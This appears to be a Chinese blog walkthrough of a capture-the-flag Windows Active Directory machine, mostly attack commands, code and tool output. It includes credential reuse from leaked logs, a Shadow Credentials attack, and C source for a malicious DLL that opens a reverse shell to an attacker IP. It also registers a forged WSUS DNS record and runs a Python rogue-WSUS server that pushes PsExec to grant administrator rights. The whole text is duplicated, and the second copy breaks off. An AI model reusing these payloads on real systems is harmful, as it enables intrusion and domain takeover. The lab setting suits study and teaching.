中等难度的 Windows AD 靶机。通过 SMB Logs 共享中的日志文件发现 svc_recovery 旧密码,利用 Kerberos TGT 躺证绕过登录限制。通过 GenericWrite 权限对 MSA_HEALTH$ 发动 Shadow Credentials 攻击,以 MSA_HEALTH$ 身份登录 WinRM。分析计划任务中的 UpdateMonitor.exe,通过向可写目录投放恶意 DLL,骑劫高权限用户 jaylee.clifton 的运行环境。最终利用 AD CS(UpdateSrv 模板)注册伪造的 WSUS DNS 记录,伮造 WSUS 内网中继攻击,推送带微软签名的 PsExec 实现提权至 Domain Admin。 中等难度的 Windows AD 靶机。通过 SMB Logs 共享中的日志文件发现 svc_recovery 旧密码,利用 Kerberos TGT 躺证绕过登录限制。通过 GenericWrite 权限对 MSA_HEALTH$ 发动 Shadow Credentials 攻击,以 MSA_HEALTH$ 身份登录 WinRM。分析计划任务中的 UpdateMonitor.exe,通过向可写目录投放恶意 DLL,骑劫高权限用户 jaylee.clifton 的运行环境。最终利用 AD CS(UpdateSrv 模板)注册伪造的 WSUS DNS 记录,伮造 WSUS 内网中继攻击,推送带微软签名的 PsExec 实现提权至 Domain Admin。

枚举

Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-19 15:07 +0800
Stats: 0:00:42 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 92.31% done; ETC: 15:08 (0:00:03 remaining)
Nmap scan report for 10.129.126.0
Host is up (0.070s latency).
Not shown: 987 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-19 14:07:51Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: 7h00m04s, deviation: 0s, median: 7h00m04s
| smb2-time:
|   date: 2026-04-19T14:08:32
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.72 seconds

smb

➜  Logging nxc smb 10.129.126.0 -u 'wallace.everette' -p 'Welcome2026@' --shares
SMB         10.129.126.0  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.126.0  445    DC01             [+] logging.htb\wallace.everette:Welcome2026@
SMB         10.129.126.0  445    DC01             [*] Enumerated shares
SMB         10.129.126.0  445    DC01             Share           Permissions     Remark
SMB         10.129.126.0  445    DC01             -----           -----------     ------
SMB         10.129.126.0  445    DC01             ADMIN$                          Remote Admin
SMB         10.129.126.0  445    DC01             C$                              Default share
SMB         10.129.126.0  445    DC01             IPC$            READ            Remote IPC
SMB         10.129.126.0  445    DC01             Logs            READ
SMB         10.129.126.0  445    DC01             NETLOGON        READ            Logon server share
SMB         10.129.126.0  445    DC01             SYSVOL          READ            Logon server share
SMB         10.129.126.0  445    DC01             WSUSTemp                        A network share used by Local Publishing from a Remote WSUS Console Instance.
smbclient //10.129.126.0/log -U 'wallace.everette%Welcome2026@'

发现一些log文件,下载下来,在文件IdentitySync_Trace_20260219.log 发现

ConnectionContext Dump: {
  Domain: "logging.htb",
  Server: "DC01",
  SSL: "False",
  BindUser: "LOGGING\svc_recovery",
  BindPass: "Em3rg3ncyPa$$2025",
  Timeout: 30
}


Establishing SQL session with HR01.logging.htb...

LOGGING\svc_recovery / Em3rg3ncyPa$$2025 和一个新域名HR01.logging.htb

信息详情
新主机名HR01.logging.htb(SQL Server)
数据库loggingHR,表 Employees,查询条件 SyncStatus = 0
服务IdentitySync.Engine v2.4.2.0,用于从 HR SQL 同步用户到 AD
操作系统Windows Server 2019, 4核, 16GB
告警邮箱it-alerts@logging.htb
同步批次14条记录,BatchID: 88AF-01
凭据LOGGING\svc_recovery / Em3rg3ncyPa$$2025

日志中显示:ERROR - LdapException: ... data 52e ... LDAP_INVALID_CREDENTIALS ... Invalid Credentials

2026-03-09 的日志又显示Success LdapConnection object...

所以这中间肯定是改了密码,或者日志中记录的是旧的/错误的密码,实际运行时用的是别的凭据

➜  Logging nxc smb HR01.logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2025'
SMB         10.129.126.0  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.126.0  445    DC01             [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2025 STATUS_ACCOUNT_RESTRICTION|

出现的是STATUS_ACCOUNT_RESTRICTION 说明密码可能是对的,只是不能登录,被禁止登录。尝试其他的协议也是一样

➜  Logging ldapsearch -x -H ldap://10.129.126.0 -D 'svc_recovery@logging.htb' -w 'Em3rg3ncyPa$$2025' -b "DC=logging,DC=htb" "(sAMAccountName=svc_recovery)"

ldap_bind: Invalid credentials (49)
        additional info: 80090308: LdapErr: DSID-0C090530, comment: AcceptSecurityContext error, data 52f, v4563

关键字:LDAP error code 49 + data 52f

  • 49 总体就是“认证失败”,但具体原因看后面的 data:
    • 52e:最常见,就是密码错(你之前在 IdentitySync 日志里看到过这个)。
    • 52f:文档与厂商 KB 都明确说,这是“账号限制导致的失败”,比如:
      • 帐户被禁用
      • 只允许从某些计算机登录(“登录到”的工作站列表)
      • 不允许在当前时间登录(登录时间段限制)这类原因都会得到 52f,而不是 52e

所以svc_recovery 很可能配了“仅允许登录到 HR01.logging.htb”,而HR01.logging.htb属于内网

bloodhound

发现SVC_RECOVERY@LOGGING.HTB 对 MSA_HEALTH$@LOGGING.HTB有GenericWrite权限

既然登陆不了,我们就申请一张SVC_RECOVERY的TGT

impacket-getTGT logging.htb/svc_recovery:'Em3rg3ncyPa$$2025' -dc-ip 10.129.126.0

# Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)

显示密码错误,我们尝试一下其他密码

impacket-getTGT logging.htb/svc_recovery:'Em3rg3ncyPa$$2026' -dc-ip 10.129.126.0
# [*] Saving ticket in svc_recovery.ccache

现在利用 GenericWrite → Shadow Credentials 攻击 MSA_HEALTH$

export KRB5CCNAME=svc_recovery.ccache

certipy-ad shadow auto \
  -u svc_recovery@logging.htb \
  -k \
  -account 'MSA_HEALTH$' \
  -dc-ip 10.129.126.0 \
  -target DC01.logging.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Targeting user 'msa_health$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '9ed21471806040e69539e6e59387cd29'
[*] Adding Key Credential with device ID '9ed21471806040e69539e6e59387cd29' to the Key Credentials for 'msa_health$'
[*] Successfully added Key Credential with device ID '9ed21471806040e69539e6e59387cd29' to the Key Credentials for 'msa_health$'
[*] Authenticating as 'msa_health$' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'msa_health$@logging.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'msa_health.ccache'
[*] Wrote credential cache to 'msa_health.ccache'
[*] Trying to retrieve NT hash for 'msa_health$'
[*] Restoring the old Key Credentials for 'msa_health$'
[*] Successfully restored the old Key Credentials for 'msa_health$'
[*] NT hash for 'msa_health$': 603fc24ee01a9409f83c9d1d701485c5

利用该凭据收集信息

bloodhound-python -d logging.htb \
  -u 'MSA_HEALTH$' \
  --hashes aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5 \
  -dc DC01.logging.htb \
  -ns 10.129.126.0 \
  -c All --zip

WinRm

登录用户MSA_HEALTH$

evil-winrm -i 10.129.126.0 -u 'MSA_HEALTH$' -H 603fc24ee01a9409f83c9d1d701485c5

进入后发现monitor.ps1,这是脚本监控计划任务状态,写日志到 C:\Share\Logs\

<#
.SYNOPSIS
    Monitors the status of the "UpdateChecker Agent" scheduled task.
    Uses COM interface to avoid CIM/WMI permission issues.
#>

告诉我们用 COM 接口查询计划任务,因为 CIM/WMI 被禁,用 COM:

$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask("UpdateChecker Agent")
$task.Definition.Principal.UserId     # → jaylee.clifton ★高权限用户
$task.Definition.Triggers             # → PT3M(每3分钟)
$task.Definition.Actions              # → UpdateMonitor.exe 500 /scan=3 /autofix=true

USER

检查文件权限

icacls C:\Users\msa_health$\Documents\monitor.ps1
# msa_health$:(F) ← 完全控制

icacls C:\ProgramData\UpdateMonitor\
# BUILTIN\Users:(WD,AD) ← 可以写文件!

icacls "C:\Program Files\UpdateMonitor\UpdateMonitor.exe"
# logging\IT:(F) ← 只有IT组能改exe

反编译 UpdateMonitor.exe 看清逻辑

# 攻击机
dotnet tool install -g ilspycmd --version 8.2.0.7535
ilspycmd UpdateMonitor.exe > decompiled.cs

源码逻辑:

1. 检查 C:\ProgramData\UpdateMonitor\Settings_Update.zip 是否存在
2. 存在则解压到 C:\Program Files\UpdateMonitor\bin\
3. LoadLibrary("settings_update.dll")
4. GetProcAddress("PreUpdateCheck")
5. 调用 PreUpdateCheck()  ← 以 jaylee.clifton 身份执行!

制作恶意 DLL

cat > evil.c << 'EOF'
#include <windows.h>
#include <winsock2.h>

__declspec(dllexport) void PreUpdateCheck() {
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2,2), &wsaData);
    
    SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(4444);
    server.sin_addr.s_addr = inet_addr("10.10.16.83");
    connect(sock, (struct sockaddr*)&server, sizeof(server));
    
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
	    WSACleanup();
}

BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID lp) { return TRUE; }
EOF
# 编译
x86_64-w64-mingw32-gcc -shared -o settings_update.dll evil.c -lws2_32
zip Settings_Update.zip settings_update.dll

# 打包
zip Settings_Update.zip settings_update.dll

# 上传并等待
upload Settings_Update.zip C:\ProgramData\UpdateMonitor\Settings_Update.zip

查看日志发现问题

09:08 - Successfully unzipped ✅
09:08 - Failed to load settings_update.dll. Error code: 193 ❌
# Error 193 = 架构不匹配
file settings_update.dll
# 确认当前架构,然后用正确编译器重新编译
i686-w64-mingw32-gcc -shared -o settings_update.dll evil.c -lws2_32
zip Settings_Update.zip settings_update.dll

开监听上传等待三分钟获取到shell

image

ROOT

PS C:\Users\jaylee.clifton\Documents\Tickets> dir
	dir


    Directory: C:\Users\jaylee.clifton\Documents\Tickets


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/16/2026   7:27 PM           2453 Incident_4922_WSUS_Remediation_ViewExport.html

html说明了

wsus.logging.htb        → staging WSUS 服务器(DNS 未更新)
ForceSync 计划任务       → 每 120 秒跑一次
任务行为:清空 SoftwareDistribution + 重启 wuauserv

先获取TGS

Rubeus.exe tgtdeleg /target:ldap/DC01.logging.htb /nowrap

枚举AD CS证书

export KRB5CCNAME=jaylee.ccache
certipy find -k -dc-ip 10.129.126.0 \
  -dc-host DC01.logging.htb \
  -target DC01.logging.htb
Certificate Templates
  0
    Template Name                       : UpdateSrv
    Display Name                        : UpdateSrv
    Certificate Authorities             : logging-DC01-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True     # ← 可以自定义CN/SAN
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 10 years
    Renewal Period                      : 6 weeks
    # 注册权限只有 IT 组,jaylee就是IT组

这是给 WSUS 服务器签 SSL 证书用的模板。路线就清晰了:

用 UpdateSrv 模板签一张 CN=wsus.logging.htb 的证书
         ↓
伪造 WSUS 服务器(HTTPS)
         ↓
ForceSync 任务每 120s 自动来连
         ↓
推送恶意更新包 / 中间人

申请证书

certipy req -k \
  -dc-ip 10.129.126.0 \
  -dc-host DC01.logging.htb \
  -target DC01.logging.htb \
  -ca logging-DC01-CA \
  -template UpdateSrv \
  -upn wsus.logging.htb \
  -dns wsus.logging.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 7
[*] Successfully requested certificate
[*] Got certificate with multiple identities
    UPN: 'wsus.logging.htb'
    DNS Host Name: 'wsus.logging.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'wsus.logging.htb_wsus.pfx'
[*] Wrote certificate and private key to 'wsus.logging.htb_wsus.pfx'

添加dns记录

bloodyAD -d logging.htb \
  -u jaylee.clifton \
  -k \
  --host DC01.logging.htb \
  --dc-ip 10.129.126.0 \
  add dnsRecord wsus 10.10.16.83
[+] wsus has been successfully added

验证

C:\Users\jaylee.clifton\Documents\Tickets>nslookup wsus.logging.htb
nslookup wsus.logging.htb
Server:  localhost
Address:  127.0.0.1

Name:    wsus.logging.htb
Address:  10.10.16.83

安装wsuks

pip install --user wsuks

安装payload:wget https://live.sysinternals.com/tools/PsExec64.exe -O /tmp/PsExec64.exe

把 pfx 转成 pem

openssl pkcs12 -in wsus.logging.htb_wsus.pfx -out wsus_srv_cert.pem -clcerts -nokeys -passin pass:
openssl pkcs12 -in wsus.logging.htb_wsus.pfx -out wsus_srv_key.pem -nocerts -nodes -passin pass:

创建 run_wsuks.py

import ssl, sys, os, logging, threading
from functools import partial
from http.server import HTTPServer

sys.modules['wsuks.lib.router'] = type(sys)('stub')
sys.modules['wsuks.lib.router'].Router = object

from wsuks.lib.logger import initLogger
initLogger(debug=False)
from wsuks.lib.wsusserver import WSUSUpdateHandler, WSUSBaseServer

HOST = '10.10.16.83'
EXE  = '/tmp/PsExec64.exe'

COMMAND = '/accepteula /s cmd.exe /c "net localgroup administrators msa_health$ /add"'

exe_bytes = open(EXE, 'rb').read()
h = WSUSUpdateHandler(exe_bytes, os.path.basename(EXE), f'http://{HOST}:8530')
h.set_resources_xml(COMMAND)

def serve(port, use_tls):
    httpd = HTTPServer((HOST, port), partial(WSUSBaseServer, h))
    if use_tls:
        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        ctx.load_cert_chain('wsus_srv_cert.pem', 'wsus_srv_key.pem')
        httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
    httpd.serve_forever()

threading.Thread(target=serve, args=(8530, False), daemon=True).start()
serve(8531, True)

运行

python3 run_wsuks.py

等待获取两个Get后

*Evil-WinRM* PS C:\Users\msa_health$\Documents> net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
msa_health$
toby.brynleigh

重新登录evil-winrm即可


其他

WSUS 更新机制要求:

  1. 客户端信任 WSUS 服务器的 TLS 证书
  2. 推送的可执行文件必须有微软签名(PsExec 满足这个条件)
  3. 更新元数据格式必须正确,客户端才会进入下载阶段

pywsus 在第三点上有问题,对 Server 2019 的产品分类匹配不上,导致客户端认为"0 updates"。wsuks 修复了这个元数据格式问题。

 

This post has not been translated to English yet.

枚举

Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-19 15:07 +0800
Stats: 0:00:42 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 92.31% done; ETC: 15:08 (0:00:03 remaining)
Nmap scan report for 10.129.126.0
Host is up (0.070s latency).
Not shown: 987 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-19 14:07:51Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: 7h00m04s, deviation: 0s, median: 7h00m04s
| smb2-time:
|   date: 2026-04-19T14:08:32
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.72 seconds

smb

➜  Logging nxc smb 10.129.126.0 -u 'wallace.everette' -p 'Welcome2026@' --shares
SMB         10.129.126.0  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.126.0  445    DC01             [+] logging.htb\wallace.everette:Welcome2026@
SMB         10.129.126.0  445    DC01             [*] Enumerated shares
SMB         10.129.126.0  445    DC01             Share           Permissions     Remark
SMB         10.129.126.0  445    DC01             -----           -----------     ------
SMB         10.129.126.0  445    DC01             ADMIN$                          Remote Admin
SMB         10.129.126.0  445    DC01             C$                              Default share
SMB         10.129.126.0  445    DC01             IPC$            READ            Remote IPC
SMB         10.129.126.0  445    DC01             Logs            READ
SMB         10.129.126.0  445    DC01             NETLOGON        READ            Logon server share
SMB         10.129.126.0  445    DC01             SYSVOL          READ            Logon server share
SMB         10.129.126.0  445    DC01             WSUSTemp                        A network share used by Local Publishing from a Remote WSUS Console Instance.
smbclient //10.129.126.0/log -U 'wallace.everette%Welcome2026@'

发现一些log文件,下载下来,在文件IdentitySync_Trace_20260219.log 发现

ConnectionContext Dump: {
  Domain: "logging.htb",
  Server: "DC01",
  SSL: "False",
  BindUser: "LOGGING\svc_recovery",
  BindPass: "Em3rg3ncyPa$$2025",
  Timeout: 30
}


Establishing SQL session with HR01.logging.htb...

LOGGING\svc_recovery / Em3rg3ncyPa$$2025 和一个新域名HR01.logging.htb

信息详情
新主机名HR01.logging.htb(SQL Server)
数据库loggingHR,表 Employees,查询条件 SyncStatus = 0
服务IdentitySync.Engine v2.4.2.0,用于从 HR SQL 同步用户到 AD
操作系统Windows Server 2019, 4核, 16GB
告警邮箱it-alerts@logging.htb
同步批次14条记录,BatchID: 88AF-01
凭据LOGGING\svc_recovery / Em3rg3ncyPa$$2025

日志中显示:ERROR - LdapException: ... data 52e ... LDAP_INVALID_CREDENTIALS ... Invalid Credentials

2026-03-09 的日志又显示Success LdapConnection object...

所以这中间肯定是改了密码,或者日志中记录的是旧的/错误的密码,实际运行时用的是别的凭据

➜  Logging nxc smb HR01.logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2025'
SMB         10.129.126.0  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.126.0  445    DC01             [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2025 STATUS_ACCOUNT_RESTRICTION|

出现的是STATUS_ACCOUNT_RESTRICTION 说明密码可能是对的,只是不能登录,被禁止登录。尝试其他的协议也是一样

➜  Logging ldapsearch -x -H ldap://10.129.126.0 -D 'svc_recovery@logging.htb' -w 'Em3rg3ncyPa$$2025' -b "DC=logging,DC=htb" "(sAMAccountName=svc_recovery)"

ldap_bind: Invalid credentials (49)
        additional info: 80090308: LdapErr: DSID-0C090530, comment: AcceptSecurityContext error, data 52f, v4563

关键字:LDAP error code 49 + data 52f

  • 49 总体就是“认证失败”,但具体原因看后面的 data:
    • 52e:最常见,就是密码错(你之前在 IdentitySync 日志里看到过这个)。
    • 52f:文档与厂商 KB 都明确说,这是“账号限制导致的失败”,比如:
      • 帐户被禁用
      • 只允许从某些计算机登录(“登录到”的工作站列表)
      • 不允许在当前时间登录(登录时间段限制)这类原因都会得到 52f,而不是 52e

所以svc_recovery 很可能配了“仅允许登录到 HR01.logging.htb”,而HR01.logging.htb属于内网

bloodhound

发现SVC_RECOVERY@LOGGING.HTB 对 MSA_HEALTH$@LOGGING.HTB有GenericWrite权限

既然登陆不了,我们就申请一张SVC_RECOVERY的TGT

impacket-getTGT logging.htb/svc_recovery:'Em3rg3ncyPa$$2025' -dc-ip 10.129.126.0

# Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)

显示密码错误,我们尝试一下其他密码

impacket-getTGT logging.htb/svc_recovery:'Em3rg3ncyPa$$2026' -dc-ip 10.129.126.0
# [*] Saving ticket in svc_recovery.ccache

现在利用 GenericWrite → Shadow Credentials 攻击 MSA_HEALTH$

export KRB5CCNAME=svc_recovery.ccache

certipy-ad shadow auto \
  -u svc_recovery@logging.htb \
  -k \
  -account 'MSA_HEALTH$' \
  -dc-ip 10.129.126.0 \
  -target DC01.logging.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Targeting user 'msa_health$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '9ed21471806040e69539e6e59387cd29'
[*] Adding Key Credential with device ID '9ed21471806040e69539e6e59387cd29' to the Key Credentials for 'msa_health$'
[*] Successfully added Key Credential with device ID '9ed21471806040e69539e6e59387cd29' to the Key Credentials for 'msa_health$'
[*] Authenticating as 'msa_health$' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'msa_health$@logging.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'msa_health.ccache'
[*] Wrote credential cache to 'msa_health.ccache'
[*] Trying to retrieve NT hash for 'msa_health$'
[*] Restoring the old Key Credentials for 'msa_health$'
[*] Successfully restored the old Key Credentials for 'msa_health$'
[*] NT hash for 'msa_health$': 603fc24ee01a9409f83c9d1d701485c5

利用该凭据收集信息

bloodhound-python -d logging.htb \
  -u 'MSA_HEALTH$' \
  --hashes aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5 \
  -dc DC01.logging.htb \
  -ns 10.129.126.0 \
  -c All --zip

WinRm

登录用户MSA_HEALTH$

evil-winrm -i 10.129.126.0 -u 'MSA_HEALTH$' -H 603fc24ee01a9409f83c9d1d701485c5

进入后发现monitor.ps1,这是脚本监控计划任务状态,写日志到 C:\Share\Logs\

<#
.SYNOPSIS
    Monitors the status of the "UpdateChecker Agent" scheduled task.
    Uses COM interface to avoid CIM/WMI permission issues.
#>

告诉我们用 COM 接口查询计划任务,因为 CIM/WMI 被禁,用 COM:

$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask("UpdateChecker Agent")
$task.Definition.Principal.UserId     # → jaylee.clifton ★高权限用户
$task.Definition.Triggers             # → PT3M(每3分钟)
$task.Definition.Actions              # → UpdateMonitor.exe 500 /scan=3 /autofix=true

USER

检查文件权限

icacls C:\Users\msa_health$\Documents\monitor.ps1
# msa_health$:(F) ← 完全控制

icacls C:\ProgramData\UpdateMonitor\
# BUILTIN\Users:(WD,AD) ← 可以写文件!

icacls "C:\Program Files\UpdateMonitor\UpdateMonitor.exe"
# logging\IT:(F) ← 只有IT组能改exe

反编译 UpdateMonitor.exe 看清逻辑

# 攻击机
dotnet tool install -g ilspycmd --version 8.2.0.7535
ilspycmd UpdateMonitor.exe > decompiled.cs

源码逻辑:

1. 检查 C:\ProgramData\UpdateMonitor\Settings_Update.zip 是否存在
2. 存在则解压到 C:\Program Files\UpdateMonitor\bin\
3. LoadLibrary("settings_update.dll")
4. GetProcAddress("PreUpdateCheck")
5. 调用 PreUpdateCheck()  ← 以 jaylee.clifton 身份执行!

制作恶意 DLL

cat > evil.c << 'EOF'
#include <windows.h>
#include <winsock2.h>

__declspec(dllexport) void PreUpdateCheck() {
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2,2), &wsaData);
    
    SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(4444);
    server.sin_addr.s_addr = inet_addr("10.10.16.83");
    connect(sock, (struct sockaddr*)&server, sizeof(server));
    
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
	    WSACleanup();
}

BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID lp) { return TRUE; }
EOF
# 编译
x86_64-w64-mingw32-gcc -shared -o settings_update.dll evil.c -lws2_32
zip Settings_Update.zip settings_update.dll

# 打包
zip Settings_Update.zip settings_update.dll

# 上传并等待
upload Settings_Update.zip C:\ProgramData\UpdateMonitor\Settings_Update.zip

查看日志发现问题

09:08 - Successfully unzipped ✅
09:08 - Failed to load settings_update.dll. Error code: 193 ❌
# Error 193 = 架构不匹配
file settings_update.dll
# 确认当前架构,然后用正确编译器重新编译
i686-w64-mingw32-gcc -shared -o settings_update.dll evil.c -lws2_32
zip Settings_Update.zip settings_update.dll

开监听上传等待三分钟获取到shell

image

ROOT

